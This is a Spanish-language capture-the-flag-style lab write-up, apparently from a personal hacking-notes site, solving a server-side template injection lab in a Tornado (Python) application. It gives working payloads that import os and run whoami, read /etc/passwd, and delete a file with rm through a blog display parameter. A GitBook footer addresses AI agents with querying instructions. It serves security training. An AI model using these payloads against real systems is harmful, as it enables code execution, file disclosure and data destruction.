> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssti/basic-ssti-in-a-python-code-context.md).

# SSTI básico en un contexto de código Python

### Inyección básica de plantillas del lado del servidor (contexto de código)

Este laboratorio presenta una vulnerabilidad **Inyección de plantillas del lado del servidor (SSTI)** debido al uso inseguro de un **plantilla de Tornado**. / El objetivo es ejecutar código arbitrario a través del motor de plantillas y luego eliminar el `morale.txt` archivo ubicado en el directorio personal de Carlos.

Se proporciona una cuenta de prueba: **wiener:peter**.

#### **Análisis de la aplicación**

En la sección que define cómo el usuario desea que se muestre durante un comentario, es posible modificar el parámetro transmitido:

<figure><img src="/files/1bfc3b1f84a06096fb97cc618c1fb13b2b2eb002" alt="" width="563"><figcaption></figcaption></figure>

El error devuelto por el servidor confirma la presencia de un **Python/Tornado** motor, lo que sugiere una inyección de plantillas.

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="/files/3771d3fba8ba94485f9d9681ac04a8ddd98b3428" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="/files/7867ad9b254bde8185ecfa3029c58e9f2c7e0148" alt=""><figcaption></figcaption></figure>

#### **Pruebas básicas de inyección**

Para comprobar si la plantilla se interpreta:

```python
{{7*7}}
}}{{7*7
```

El renderizado confirma la inyección: el cálculo lo realiza el motor de plantillas.

<figure><img src="/files/5b80d3a861170d5c4b7e7af947c2f5033275ab25" alt=""><figcaption></figcaption></figure>

#### **Ejecución de comandos**

Tornado permite importar módulos directamente en la plantilla

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **Leer archivo `/etc/passwd`**

Inyección adaptada al parámetro vulnerable

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="/files/c292a7f2b5d83fa0f1ec74ba5778062e1aad2254" alt=""><figcaption></figcaption></figure>

#### **Archivo moral eliminado. Txt**

Orden final para validar el laboratorio:

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
